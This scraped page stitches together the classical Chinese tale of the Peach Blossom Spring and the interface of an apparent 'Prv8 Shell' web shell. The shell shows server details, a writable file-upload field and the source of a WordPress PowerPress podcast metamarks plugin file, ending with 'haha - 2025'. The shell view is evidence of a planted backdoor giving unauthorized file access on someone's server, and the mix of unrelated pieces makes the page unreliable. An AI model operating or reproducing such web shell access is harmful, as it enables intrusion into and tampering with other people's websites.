晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/stando/public_html/wp-content/plugins/powerpress/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //home/stando/public_html/wp-content/plugins/powerpress/powerpress-metamarks.php
<?php

function powerpress_metabox_save($post_ID)
{
    $MetaMarks = ( !empty($_POST['MetaMarks']) ? $_POST['MetaMarks'] : false);
    $Episodes = ( !empty($_POST['Powerpress']) ? $_POST['Powerpress'] : false);
    if( $Episodes )
    {
        foreach( $Episodes as $feed_slug => $Powerpress )
        {
            $field = '_'.$feed_slug.':metamarks';
            delete_post_meta( $post_ID, $field);

            if( !empty($Powerpress['change_podcast']) || !empty($Powerpress['new_podcast']) )
            {
                // No URL specified, then it's not really a podcast to save
                if( $Powerpress['url'] == '' )
                    continue; // go to the next media file

                if( !empty($MetaMarks[ $feed_slug ]) )
                {
                    $MetaMarkData = $MetaMarks[ $feed_slug ];
                    // Loop through, and convert position and duration to seconds, if specified with 00:00:00
                    foreach( $MetaMarkData as $index => $row )
                    {
                        $MetaMarkData[ $index ]['position'] = powerpress_raw_duration( $row['position'] );
                        $MetaMarkData[ $index ]['duration'] = powerpress_raw_duration( $row['duration'] );
                    }
                    reset($MetaMarkData);

                    foreach( $MetaMarkData as $index => $row )
                    {
                        if( empty($MetaMarkData[ $index ]['type']) && empty($MetaMarkData[ $index ]['position']) && empty($MetaMarkData[ $index ]['duration']) && empty($MetaMarkData[ $index ]['link']) && empty($MetaMarkData[ $index ]['value']) )
                        {
                            unset($MetaMarkData[ $index ]);
                        }
                    }
                    reset($MetaMarkData);

                    if( count($MetaMarkData) > 0 )
                    {
                        if( !empty($Powerpress['new_podcast']) )
                        {
                            add_post_meta($post_ID, $field, $MetaMarkData, true);
                        }
                        else
                        {
                            update_post_meta($post_ID, $field, $MetaMarkData);
                        }
                    }
                    else // Delete them from the database...
                    {
                        delete_post_meta($post_ID, $field );
                    }
                }
            }
        } // Loop through posted episodes...
    }
    return $post_ID;
}

function powerpress_metamarks_addrow() // Called by AJAX call
{
    $feed_slug = $_POST['feed_slug'];
    $next_row = $_POST['next_row'];
    $html = powerpress_metamarks_editrow_html($feed_slug, $next_row, null, true);
    echo $html;
    exit;
}

function powerpress_metamarks_editrow_html($feed_slug, $next_row, $data = null, $new = false)
{
    $feed_slug = esc_attr($feed_slug);
    $MarkTypes = powerpress_metamarks_get_types();
    if( !is_array($data) )
    {
        $data = array();
        $data['type'] = '';
        $data['position'] = '';
        $data['duration'] = '';
        $data['link'] = '';
        $data['value'] = '';
    }
    $data['position'] = powerpress_readable_duration($data['position']);
    $data['duration'] = powerpress_readable_duration($data['duration']);
    if( $data['position'] == '0:00' )
        $data['position'] = '';
    if( $data['duration'] == '0:00' )
        $data['duration'] = '';

    if ($data['position']) {
        $pos = $data['position'];
    } else {
        $pos = "Time";
    }
    if ($data['type']) {
        $type = ucfirst($data['type']);
    } else {
        $type = "Type";
    }
    if (!$new) {
        $class = ' class="pp-hidden-settings"';
        $option = 'Edit';
    } else {
        $class = '';
        $option = 'Save';
    }
    $html = '<div class="pp-metamarks-row" id="powerpress_metamarks_row_'. $feed_slug .'_'. $next_row .'">';
    $html .= '<div class="metamark-top-section id="metamark-top-section-' . $feed_slug .'-'. $next_row . '">';
    $html .= '<div id="pp-metamark-preview-pos-' . $feed_slug .'-'. $next_row . '" class="pp-metamark-preview-pos-">' . $pos . '</div>';
    $html .= '<div id="pp-metamark-preview-type--' . $feed_slug .'-'. $next_row . '" class="pp-metamark-preview-type-">' . $type . '</div>';
    $html .= '<div class="pp-metamark-delete"><a href="" onclick="return powerpress_metamarks_deleterow(\'powerpress_metamarks_row_'. $feed_slug .'_'. $next_row .'\');" title="'. __('Delete', 'powerpress') .'">';
    $html .= __('Delete', 'powerpress') . '</a></div><div class="pp-metamark-edit"><a href="" id="pp-toggle-metamark-'. $next_row . '-' . $feed_slug . '" title="'. __($option, 'powerpress') .'" onclick="powerpress_toggleMetamarksSettings(this); return false;">' . __($option, 'powerpress') . '</a></div>';
    $html .= '</div><div id="pp-hide-metamark-' . $feed_slug .'-'. $next_row . '"' . $class . '>';
    $html .= '<div class="pp-section-container"><div class="powerpress-label-container" id="pp-type-label' . $feed_slug .'-'. $next_row . '"><label class="pp-ep-box-label" style="width: 100%;" for="pp-metamark-type-'. $feed_slug .'_'. $next_row .'">' . __('Type', 'powerpress') . '</label><select id="pp-metamark-type-'. $feed_slug .'-'. $next_row .'" class="pp-ep-box-input" style="width: 100%;" type="text" title="'. __('Type', 'powerpress') .'" name="MetaMarks['.$feed_slug.']['.$next_row.'][type]">';
    $html .= powerpress_print_options( array(''=>'Select Type')+ $MarkTypes, $data['type'], true);
    $html .= '</select></div><div class="powerpress-label-container" id="pp-pos-label' .  $feed_slug .'-'. $next_row . '"><label class="pp-ep-box-label" for="pp-metamark-pos-'.  $feed_slug .'-'. $next_row .'">' . __('Position', 'powerpress') . '</label>';
    $html .= '<input id="pp-metamark-pos-'. $feed_slug .'-'. $next_row .'" class="pp-ep-box-input" style="width: 100%;" type="text" title="'. __('Position', 'powerpress') .'" name="MetaMarks['.$feed_slug.']['.$next_row.'][position]" value="' .htmlspecialchars($data['position']) .'" placeholder="'. htmlspecialchars(__('Position', 'powerpress'))  .'" /></div>';
    $html .= '<div class="powerpress-label-container" id="pp-dur-label' .  $feed_slug .'-'. $next_row . '"><label class="pp-ep-box-label" for=\"pp-metamark-dur-'.  $feed_slug .'-'. $next_row .'\">' . __('Duration', 'powerpress') . '</label>';
    $html .= '<input id="pp-metamark-dur-'. $feed_slug .'-'. $next_row .'" class="pp-ep-box-input" style="width: 100%;" type="text" title="'. __('Duration', 'powerpress') .'" name="MetaMarks['.$feed_slug.']['.$next_row.'][duration]" value="' .htmlspecialchars($data['duration']) .'" placeholder="'. htmlspecialchars(__('Duration', 'powerpress'))  .'" /></div></div>';
    $html .= '<div class="pp-section-container"><div class="powerpress-label-container" style="width: 100%;"><label class="pp-ep-box-label" for="pp-metamark-link-' . $feed_slug .'-'. $next_row .'">' . __('Link', 'powerpress') . '</label><input id="pp-metamark-link-'. $feed_slug .'-'. $next_row .'" class="pp-ep-box-input" style="width: 100%;" type="text" title="'. __('Link', 'powerpress') .'" name="MetaMarks['.$feed_slug.']['.$next_row.'][link]" value="' .htmlspecialchars($data['link']) .'" placeholder="'. htmlspecialchars(__('Link', 'powerpress'))  .'" /></div></div>';
    $html .= '<div class="pp-section-container" id="pp-value-container-' . $feed_slug .'-'. $next_row . '"><div class="powerpress-label-container" style="width: 100%;"><label class="pp-ep-box-label" for="pp-metamark-val-' . $next_row .'">' . __('Value', 'powerpress') . '</label><textarea id="pp-metamark-val-'. $feed_slug .'-'. $next_row .'" class="pp-ep-box-input" style="width: 100%;" name="MetaMarks['.$feed_slug.']['.$next_row.'][value]" title="'. __('Value', 'powerpress') .'" placeholder="'. htmlspecialchars(__('Value', 'powerpress'))  .'">' .htmlspecialchars($data['value']) .'</textarea></div></div>';


    $html .= '</div></div>';
    $html .= "\n";
    return $html;
}

function powerpress_metamarks_print_rss2($episode_data)
{
    $MetaRecords = powerpress_metamarks_get($episode_data['id'], $episode_data['feed'] );
    foreach( $MetaRecords as $index => $MetaMark )
    {
        echo "\t\t";
        echo '<rawvoice:metamark type="'. esc_attr($MetaMark['type']) .'"';
        if( !empty($MetaMark['duration']) )
            echo ' duration="'. esc_attr($MetaMark['duration']) .'"';
        if( !empty($MetaMark['position']) )
            echo ' position="'. esc_attr($MetaMark['position']) .'"';
        if( !empty($MetaMark['link']) )
            echo ' link="'. esc_attr($MetaMark['link']) .'"';

        $value = trim($MetaMark['value']);
        if( $value == '' ) {
            echo ' />';
        } else {
            echo '>';
            echo htmlspecialchars($value);
            echo '</rawvoice:metamark>';
        }
        echo PHP_EOL;
    }
}

function powerpress_metamarks_get_types()
{
    $types = array();
    $types['audio'] = 'Audio';
    $types['video'] = 'Video';
    $types['image'] = 'Image';
    $types['comment'] = 'Comment';
    $types['tag'] = 'Tag';
    $types['ad'] = 'Advertisement';
    $types['lowerthird'] = 'Lower Third';
    return $types;
}


function powerpress_metamarks_get($post_id, $feed_slug)
{
    $return = array();
    if( $post_id )
    {
        $return = get_post_meta($post_id, '_'. $feed_slug .':metamarks', true);
        if( $return == false )
            $return  = array();
    }

    return $return;
}

haha - 2025